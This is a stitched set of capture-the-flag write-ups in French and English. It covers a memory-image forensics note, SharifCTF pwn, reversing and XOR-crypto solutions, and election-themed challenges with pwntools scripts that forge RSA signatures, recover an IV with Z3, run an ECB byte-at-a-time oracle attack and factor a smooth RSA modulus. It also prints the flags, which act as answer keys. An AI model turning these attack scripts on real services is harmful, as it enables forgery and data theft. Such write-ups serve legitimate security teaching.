Tout de suite, on pense à utiliser Volatility, un outil bien utile dans ce genre de situation (cad en présence de fichiers img). Et c’est ce que nous avons fait. Sans succès.
Nous nous sommes alors attelés à regarder directement la sortie de __string__. Et c’est soudainement devenu très intérressant.
Comme on peut le constater, diverses requêtes sont faites vers des pages internet. Ce qui implique des téléchargements et donc du contenu mis en cache.Pour extraire tout ça, on utilise l’outil __foremost__ qui va récupérer les fichiers qu’il pourra trouver dans l’image.
Sans grand étonnement, il y en a un paquet... !
On regarde un peu partout, au hasard, puis soudain, il est là, beau comme un concert de Rammstein, le flag ! **GH16{Krautergersheim_18}**
|
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>2016-SharifCTF7</span></span><span>/</span><span><span>Pwn</span></span><span>/</span>hippotie<span>/</span> </div> </div>
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## Guess (pwn-50)
### Description```I know guessing is a pain. Writhe in my cage of torment.```
### Solution
* A typical format-string bug* Just put a lot of `%p`'s and search for ascii characters.* On hex-decoding, found the flag.* `SharifCTF{a5d428632ccc7bfd357c6a128a78a58c}`
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|
## Camera Model
### Description
Find the camera model.Flag = SharifCTF{md5(Camera_Model)}
[challenge](Image_Viewer.tar.xz)
### Solution
The executable file on running displays an image.
I figured that we had to find the camera model of the camera which captured this photo. The image must be somewhere within the executable itself, so I examined it with binwalk and sure enough:
```$ binwalk Image_Viewer -e
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)5432 0x1538 Zlib compressed data, best compression```
Running the strings command on the image [file](./_Image_Viewer.extracted/1538) gives us the model of the camera
Calculating SharifCTF{md5('DSLR4781')}, we get the flag `SharifCTF{ccb7ed56eea6576263abeca4cdb03f62}` . |
# getit
> Open and read the flag file!
The provided file is an x86-64 binary that provides no output, ```file``` tells usthe following:
```getit: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24,BuildID[sha1]=e389cd7a4b9272ba80f85d7eb604176f6106c61e, not stripped```
My next step was to ```strace``` the binary and see if it provides any clues.The following is the output:
```execve("./getit", ["./getit"], [/* 32 vars */]) = 0brk(NULL) = 0x167a000access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=163641, ...}) = 0mmap(NULL, 163641, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f0995db2000close(3) = 0open("/usr/lib/libc.so.6", O_RDONLY|O_CLOEXEC) = 3read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\3\2\0\0\0\0\0"...,832) = 832fstat(3, {st_mode=S_IFREG|0755, st_size=1951744, ...}) = 0mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =0x7f0995db0000mmap(NULL, 3791152, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) =0x7f099581a000mprotect(0x7f09959af000, 2093056, PROT_NONE) = 0mmap(0x7f0995bae000, 24576, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x194000) = 0x7f0995bae000mmap(0x7f0995bb4000, 14640, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f0995bb4000close(3) = 0arch_prctl(ARCH_SET_FS, 0x7f0995db1440) = 0mprotect(0x7f0995bae000, 16384, PROT_READ) = 0mprotect(0x600000, 4096, PROT_READ) = 0mprotect(0x7f0995dda000, 4096, PROT_READ) = 0munmap(0x7f0995db2000, 163641) = 0brk(NULL) = 0x167a000brk(0x169b000) = 0x169b000open("/tmp/flag.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0write(3, "********************************"..., 44) = 44lseek(3, 30, SEEK_SET) = 30write(3, "5", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 24, SEEK_SET) = 24write(3, "a", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 25, SEEK_SET) = 25write(3, "e", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 32, SEEK_SET) = 32write(3, "1", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 40, SEEK_SET) = 40write(3, "8", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 36, SEEK_SET) = 36write(3, "3", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 28, SEEK_SET) = 28write(3, "2", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 17, SEEK_SET) = 17write(3, "7", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 34, SEEK_SET) = 34write(3, "2", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 39, SEEK_SET) = 39write(3, "5", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 16, SEEK_SET) = 16write(3, "2", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 33, SEEK_SET) = 33write(3, "1", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 19, SEEK_SET) = 19write(3, "f", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 26, SEEK_SET) = 26write(3, "b", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 5, SEEK_SET) = 5write(3, "f", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 3, SEEK_SET) = 3write(3, "r", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 29, SEEK_SET) = 29write(3, "d", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 27, SEEK_SET) = 27write(3, "f", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 31, SEEK_SET) = 31write(3, "9", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 4, SEEK_SET) = 4write(3, "i", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 8, SEEK_SET) = 8write(3, "F", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 15, SEEK_SET) = 15write(3, "9", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 37, SEEK_SET) = 37write(3, "c", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 42, SEEK_SET) = 42write(3, "}", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 14, SEEK_SET) = 14write(3, "5", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 41, SEEK_SET) = 41write(3, "9", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 2, SEEK_SET) = 2write(3, "a", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 23, SEEK_SET) = 23write(3, "8", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 21, SEEK_SET) = 21write(3, "f", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 0, SEEK_SET) = 0write(3, "S", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 10, SEEK_SET) = 10write(3, "b", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 20, SEEK_SET) = 20write(3, "c", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 7, SEEK_SET) = 7write(3, "T", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 11, SEEK_SET) = 11write(3, "7", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 1, SEEK_SET) = 1write(3, "h", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 13, SEEK_SET) = 13write(3, "c", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 6, SEEK_SET) = 6write(3, "C", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 38, SEEK_SET) = 38write(3, "6", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 18, SEEK_SET) = 18write(3, "5", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 35, SEEK_SET) = 35write(3, "2", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 12, SEEK_SET) = 12write(3, "0", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 22, SEEK_SET) = 22write(3, "a", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44lseek(3, 9, SEEK_SET) = 9write(3, "{", 1) = 1lseek(3, 0, SEEK_SET) = 0write(3, "********************************"..., 44) = 44close(3) = 0unlink("/tmp/flag.txt") = 0exit_group(0) = ?+++ exited with 0 +++```
Combing through the output, I noticed that the file mentioned in thedescription is located at ```/tmp/flag.txt```
```open("/tmp/flag.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3```
The binary then writes stars to the file, seeks to a location in the file andwrites a character - which we can safely assume is the flag contents. Aftereach ```lseek``` and ```write``` pair, the binary overwrites the flag withstars.
```write(3, "********************************"..., 44) = 44lseek(3, 30, SEEK_SET) = 30write(3, "5", 1) = 1```
We could read through the entire trace, keeping track of the file pointer andworking out where each character will be placed. I preferred to use some bashto speed up the process.
I started the binary in ```gdb``` and set a breakpoint on the ```write``` libccall. I then ran the binary until the first breakpoint and then executed thefollowing in my shell, in order to append the contents of flag.txt to my owntext file after each file modification:
```while inotifywait /tmp/flag.txt; do cat /tmp/flag.txt >> flag.txt; done```
After continuing the binary's execution after each breakpoint, a text filecontaining all of the characters in the flag was produced. Upon stripping thelines with only stars, I was left with the flag contents:
```*************************e***********************************************5************************************a*******************************************e*************************************************1**************************************************8**************************************3**********************************2*******************************7***********************************************************2***********************************************5*******************2***********************************************************1****************************f*************************************************b*********************f****************************************r********************************************************************d****************************************f**********************************************9***************i**********************************************F*************************************************9****************************************************************c***********************************************}**************5*********************************************************************9***a***************************************************************8****************************************f*********************S****************************************************b****************************************************c*****************************T**********************************************7********************************h******************************************************c***********************************C**************************************************************************6**********************5***********************************************************2*******************0****************************************************a*****************************{*********************************```
After putting the characters together in the correct order, I submitted the flagfor a juicy 50 points. :-) |
## SharifCTF: XOR
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Sharif CTF | XOR | crypto | 150 |
*Description*>```>See the attachment.>Notice that this is Python 3, and msg is a byte array, not a string.`>```
----------## Write-up
For this challenge we get the following python code and a 301 byte file withencrypted data.
>```python>#!/usr/bin/env python3>># Hint: Flag starts with "SharifCTF{", and ends with "}".>>from secret import p_small_prime, q_small_prime, r, key, flag>flag = flag * r>>def encrypt(msg, p, q, r, key):> enc = []> for i in range(len(msg)):> enc += [(i%p) ^ ((msg[i]**q) % (q**2 - 6*q + 6)) ^ key[r*i % len(key)]]> return bytes(enc)>>with open('enc', 'wb') as f:> f.write(encrypt(flag, p_small_prime, q_small_prime, r, key))>```
### The idea
Looking at the script we see that first the flag is being copied *r* times.Since in this CTF the flags so far have been 43 bytes ('SharifCTF{' + [0-9a-f]{32} +'}') this means *r* is equal to 301/43 = 7.
Analyzing the code we see any byte in the plaintext comes from the following three results:
>```python>x1 = i^p>x2 = (msg[i]**q) % (q**2 - 6*q + 6)>x3 = key[r*i % len(key)]>```
Since we know the position we know *i*, meaning `x1` is only based on *p*,`x2` is only based on *q* and `x3` is only based on the key.
We also know *p* and *q* are *small* primes.
And we also have some known plaintext to use.
These facts combined allow us to, for some starting keylength, pick some *p*,*q*pair and generate the key which would encrypt 'S' to the seven encryptedoccurences of 'S' in the ciphertext. If there is a valid key (i.e indices ofthis key have no conflicting solutions) we can then validate this key for theencrypted 'h' in the ciphertext. This way we keep validating the key until weeither reach the '{' in the know plaintext or the key becomes invalid. In whichcase we go on to the next *p*,*q* pair.
The nice thing of this algorithm is that the keylength does not influence theruntime of one loop though all the *p*,*q*.
This algorithm finds a *p*, *q* and a key which work for the 'SharifCTF{' partof the plaintext, and then uses it to bruteforce the remaining plaintextchar-by-char:
### Solution
>```python>#!/usr/bin/env python># -*- coding: utf-8 -*->>import itertools>import string>>f = open('./enc', 'rb')>data = f.read()>>smallprimes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59,> 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137,> 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211,> 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283,> 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379,> 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461,> 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563,> 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643,> 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739,> 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829,> 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937,> 941, 947, 953, 967, 971, 977, 983, 991, 997]>>>def check(v):> return v[0] ^ v[1] ^ v[2] == v[3]>>>def get_key(v):> return v[2], v[0] ^ v[1] ^ v[3]>>>def valid(v):> # set(v) == different tuples> # f for... == different first elements> return len(set(v)) == len({f for f, g in v})>>># For a certain key-length guess>for keyl in range(1, 22):> print 'keylength: %d' % keyl> # For a prime-pair candidate> for p,q in itertools.product(smallprimes, repeat=2):> s = []> # Generate a key for this combination> for c, pt in enumerate('SharifCTF{'):> # This is known for a given p,q> ilist = range(0 + c, 301, 43)> senc = [ord(data[i]) for i in ilist]> x1 = map(lambda x: x % p, ilist)> x2 = [(ord(pt)**q) % (q**2 - 6 * q + 6)] * 7> # calculate a possible key for this p, q pair> indices = map(lambda x: (x * 7) % keyl, ilist)> s.extend(map(get_key, zip(x1, x2, indices, senc)))> # Key still valid?> if not valid(s):> break> if pt == '{':> s = list(set(s))> s.sort(key=lambda x: x[0])> key = map(lambda x: x[1], s)> # print 'decrypting with \np: %d\nq: %d\nkey: %s' % (p, q, ''.join(map(lambda x: chr(x), key)))> # Bruteforce pt char-by-char> pt = ''> for i in range(len(data)): # or range(43)> for ptc in string.printable:> x1 = i % p> x2 = (ord(ptc)**q) % (q**2 - 6 * q + 6)> x3 = key[7 * i % len(key)]> enc = x1 ^ x2 ^ x3> if enc == ord(data[i]):> pt += ptc> print pt>```
The flag is:
```SharifCTF{6494889069126bb688b8755815a8d672}``` |
# TOPKEK (50 p)
```A CNN reporter had only one question that she couldn't get off her mind
Do we even know, who is this 4 CHAN???
So she set out to find who this 400lb hacker is. During her investigation, she came across this cryptic message on some politically incorrect forum online, can you figure out what it means?```
There is a ciphertext attached to this challenge, which contains the following:
```KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!```
First guess is a binary, and judging from the amount of points given for this challenge, that is probably no more complicated than that. `TOP` is either `0` or `1` and the number of `!` denotes the number of each symbol. We try both and find that `TOP` maps to `1`, so `KEK` is `0`. The following code decodes the ciphertext.
```pythonsplit_cipher = ciphertext.split()decrypted = ''for block in split_cipher: if block.startswith('KEK'): decrypted += '0' * (len(block) - 3) else: decrypted += '1' * (len(block) - 3)
decrypted = int(decrypted, 2)print libnum.n2s(decrypted)```
This gives
```flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}```# Trump Trump (100 p)
```With Trump about to be in office, autographed photos of him are selling like wildfire. The only problem is:Trump makes it a point to never sign a photo of himself. If you could get a signed picture, you could stand to make DOZENS of dollars.
nc trumptrump.pwn.republican 3609```
We get the following parameters
```pythone = 65537N = 23377710160585068929761618506991996226542827370307182169629858568023543788780175313008507293451307895240053109844393208095341963888750810795999334637219913785780317641204067199776554612826093939173529500677723999107174626333341127815073405082534438012567142969114708624398382362018792541727467478404573610869661887188854467262618007499261337953423761782551432338613283104868149867800953840280656722019640237553189669977426208944252707288724850642450845754249981895191279748269118285047312864220756292406661460782844868432184013840652299561380626402855579897282032613371294445650368096906572685254142278651577097577263```Converting the image to a number
```pythonf = open('trump.jpg', 'r')data = libnum.s2n(f.read()) % N```
we try to submit it, which incidentially fails. We can exploit that sign(a) × sign(b) = sign(a × b). Since the image is divisible by for instance 5, we can factor out this and sign the two parts separately.
```sign(data / 5) = 15742105247958736958004859844860106392650529642491444791655288653059139800053206167023792876159338330811553994563264038797209523053486931817881299156223450837206775783069574776254654197337314541494064874054449749920216258529257414289049794126137529358458843274774718683434637726891822317083908587215429977340799931758155377373656742947190372216055450421108566287038161365843817023142180328035768992726841684537565155117632165969899505426984495819465218509929865350057283134017766501372618581237936784285588661088765130624093014320161531747074858737002260566015050922492437422682387506583350890218827504186050632600504sign(5) = 18938431620064949405099081881389422411569506620645684785718437650149907701313939238017399264771270907473551575023831816899182480214946633959498312433619616816861526269114681215528914329791099013891595131862543300865871379621247867883669403120593815746911158013483346808195756730946735362037791985948842449343328484149265803462983935765047801620079220588638013959948297979415581591179722303271496129424130559547762467547913292325129340535450673107267746074776721093375970510983576513946461957148135755448610570645462794635156136176208419134557678284424568016798221633694322809374691561612990098051154456165773266086828```so,
```sign(data) = 7240527260044126899075832339973255923943354335060037001558105343295495841635843603507411996488568977206115374657942401805673165802944813082589201103827861325639581582005106924492724100812077464571265915352012064311221086996199961637876724784326540728342282620427706011099830010859187486529928704673604893811823836195858916605646466850177580221970723526928598144155086898666864544017092301766812496415256830844105167571316067435310083881243302996555421199570092966497927454347195963984192282682803663188954259681974561132158520131591167970511602803401392202553720288822909116428852233039667283953852194960467196349739```
Sending this to the service, we get
```Duneld Trump: Well, I already met my quota for Guantanimo Bay inmates today, so okay.Trump looks shocked, appalled by the fact that he'd sign a picture of himself for such a not-billionaire.Trump sprints away at a blinding 2mph, dropping what he was carrying.It's a stack of photos, you pick one up and look at it.ffd8ffe000104a46494600010101006000600000ffdb0043000302020302020303030304030304050805050404050a070706080c0a0c0c0b0a0b0b0d0e12100d0e110e0b0b1016101113141515150c0f171816141812141514ffdb00430103040405040509050509140d0b0d1414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414ffc20011080173029403011100021101031101ffc4001d000002020301010100000000000000000003040102000506070809ffc4001b01000301010101010000000000000000000002030104050607ffda000c03010002100310000001f9904c0c090837024303025896590c36431480cc202776420c90c0c08090c090c090c3242c6f5136f41853dd38e9d0ab557756b58562b284099bb4657767675d55339066f27e8978ef673ebc3030dc08090c330303021770302ccb3b9218658622e955ec8d20...```
Let us write code to make it viewable:
```pythonimport libnumfrom pwn import *
v = remote('trumptrump.pwn.republican', 3609)v.recv(1024)v.send(str(s) + '\r\n')
for i in range(4): v.recvline()data = v.recvline()open('trump1.jpg','w').write(libnum.n2s(int(data, 16)))```
# Vermatrix Supreme (100 p)
```Working in IT for a campaign is rough; especially when your candidate uses his password as the IV for your campaign's proprietary encryption scheme, then subsequently forgets it. See if you can get it back for him.The only hard part is, he changes it whenever he feels like it.
nc vermatrix.pwn.democrat 4201```
Along this, we get the code for the encryption scheme.
```pythonimport sys, random, time
flag = "flag{1_sw34r_1F_p30Pl3_4cTu4lLy_TrY_Th1s}"
def printmat(matrix): for row in matrix: for value in row: print value, print "" print ""
def pad(s): if len(s)%9 == 0: return s for i in xrange((9-(len(s)%9))): s.append(0) return s
def genBlockMatrix(s): outm = [[[7 for x in xrange(3)] for x in xrange(3)] for x in xrange(len(s)/9)] for matnum in xrange(0,len(s)/9): for y in xrange(0,3): for x in xrange(0,3): outm[matnum][y][x] = s[(matnum*9)+x+(y*3)] return outm
def fixmatrix(matrixa, matrixb): out = [[0 for x in xrange(3)] for x in xrange(3)] for rn in xrange(3): for cn in xrange(3): out[cn][rn] = (int(matrixa[rn][cn])|int(matrixb[cn][rn]))&~(int(matrixa[rn][cn])&int(matrixb[cn][rn])) return out
def chall(): IV = [c for c in '?????????'] seed = "??????????????????"
blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed]))
res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
print "SEED: " + str(seed) printmat(res)
data = raw_input("")
data = data.replace(' ', '').strip().split(',')
if len(data) != 9: return False
for i in xrange(len(IV)): if str(IV[i]) != str(data[i]): return False
return True
if chall(): print flag```
The `IV` is a series of 9 numbers in some undefined range. Instead of spending a bunch of time to find some algebraic relations that we can exploit, we can use Z3. We define a set of variables (BitVec) for Z3, representing the unknown `IV`. Since the matrix we receive should contain the same values as the computed one, given `seed` and the correct `IV`, we set up equality relations.
```pythonfrom z3 import *from pwn import *from vermatrix import *
def find_iv(seed, target): s = Solver() IV = [BitVec('%d' % i, 32) for i in range(1,10)] blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed])) res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
for y1, y2 in zip(res, target): for x1, x2 in zip(y1, y2): s.add(x1 == x2) # they should be equal! return s```
Now, we can use this routine in connecting to the server as follows:
```pythoncontext.log_level = 'error'v = remote('vermatrix.pwn.democrat', 4201)
seed = v.recvline().split()[1]target_matrix = [[int(x) for x in v.recvline().split()] for i in range(0, 3)]s = find_iv(seed, target_matrix)
if s.check() == sat: m = s.model() out = [0]*9 for x in m: out[int(str(x))-1] = m[x] v.send(str(out)[1:-1] + '\n') print 'FLAG: {0}'.format(v.recvline())```
Running the whole code, we obtain
```flag{IV_wh4t_y0u_DiD_Th3r3}```
# Boxes of Ballots (200 p)
```Privjet Komrade!
While doing observing of Amerikanski's voting infrascture we find interesting box. We send operative to investigate. He return with partial input like showing below.He say box very buggy but return encrypted data sometimes. Figure out what box isdo; maybe we finding embarass material to include in next week bitcoin auction, yes?
ebug": true, "data": "BBBBBBBBBBBBBBBB", "op": "enc"}
nc boxesofballots.pwn.republican 9001```
This challenge is very similar to [this](https://github.com/grocid/CTF/tree/master/IceCTF/2016#l33tcrypt-90-p)). We can solve it as follows:
```pythonfrom pwn import *import jsonimport string
def getdata(res): for l in res.split('\n'): if l.startswith('{"Status"'): return json.loads(l)['data']
def getreference(buflen, v): data = {"debug": False, "data": 'x'*buflen , "op": "enc"} payload = json.dumps(data).replace('False', 'false') v.send(payload + '\n') response = v.recv(1024) ref = getdata(response)[:64] return ref
context.log_level = 'error'v = remote('boxesofballots.pwn.republican', 9001)result = ""buflen = 31
while buflen: ref = getreference(buflen, v)
for i in string.printable: data = {"debug": False, "data": 'x'*buflen + result + i, "op": "enc"} payload = json.dumps(data).replace('False', 'false')
v.send(payload + '\n') response = v.recv(1024) res = getdata(response) if res[:64] == ref: result += i buflen -= 1 print result break else: print "[-] Error" exit(-1)```
gives
```flag{Source_iz_4_noobs}```
Michał Żuberek ([Z](http://z.bigi.pl)) of my team Snatch the Root solved this one.
# The Best RSA (250 p)
```At his last rally, Trump made an interesting statement:
I know RSA, I have the best RSAThe more bits I have, the more secure my cyber, and my modulus is YUUUUUUUUUUUUUGEWe don't believe his cyber is as secure as he says it is. See if you can break it for us```
We get a file with a public exponent `e = 65537` and a massive public modulus `N`. Clearly, there is something strange with this modulus. The first obvious move is to check for small factors, and in fact, we find that 3 is a factor. Not once, but several times. The whole modulus consist of very small prime factors. Let us write some code to factor it!
```pythonimport libnum, grocid, challenge
def get_private_exponent(phi, e): return libnum.modular.invmod(e, phi)
def find_factors(n, h): primes = grocid.sieve(h) factors = {} for p in primes: while n % p == 0: n = n / p if p in factors: factors[p] +=1 else: factors[p] = 1 return factors
print '[+] Factoring n...'single_factors = find_factors(challenge.n, 10000)```
OK, so we got a dictionary containing each prime factor and its corresponding exponent. It looks like this:
```python{3: 1545, 5: 1650, 7: 1581, 137: 1547, 11: 1588, 13: 1595, 17: 1596, 19: 1553, 149: 1572, 23: 1579, 29: 1549, 31: 1613, 163: 1589, 37: 1594, 167: 1578, 41: 1524, 43: 1538, 173: 1617, 47: 1571, 229: 1610, 179: 1556, 53: 1635, 59: 1556, 151: 1549, 61: 1605, 181: 1582, 193: 1549, 67: 1606, 197: 1520, 71: 1589, 73: 1571, 241: 1564, 79: 1548, 83: 1630, 139: 1638, 89: 1535, 199: 1574, 223: 1610, 97: 1456, 227: 1600, 131: 1540, 101: 1514, 103: 1583, 233: 1564, 107: 1591, 109: 1529, 239: 1556, 157: 1600, 113: 1601, 211: 1544, 251: 1493, 191: 1564, 127: 1565}```
So, we can compute ϕ and the corresponding private exponent:
```pythonphi = challenge.nprint '[+] Computing phi...'for p in single_factors: phi = phi / p * (p - 1)
print '[+] Computing private exponent'd = get_private_exponent(phi, 65537)```
This enables us to decrypt! However, if you try it, you will probably notice that it takes quite some time and memory to compute cᵈ (mod n). Now, we can speed this a bit using CRT. So, we compute cᵈ (mod 3¹⁵⁴⁵) and so on separately, for each prime factor and then use CRT to reconstruct the whole message:
```pythonremainders = []moduli = []
for p in single_factors: modulus = pow(p, single_factors[p]) moduli.append(modulus) remainder = pow(challenge.c, d, modulus) remainders.append(remainder)
plaintext = libnum.modular.solve_crt(remainders, moduli)print 'Message: {0}'.format(libnum.n2s(plaintext))```
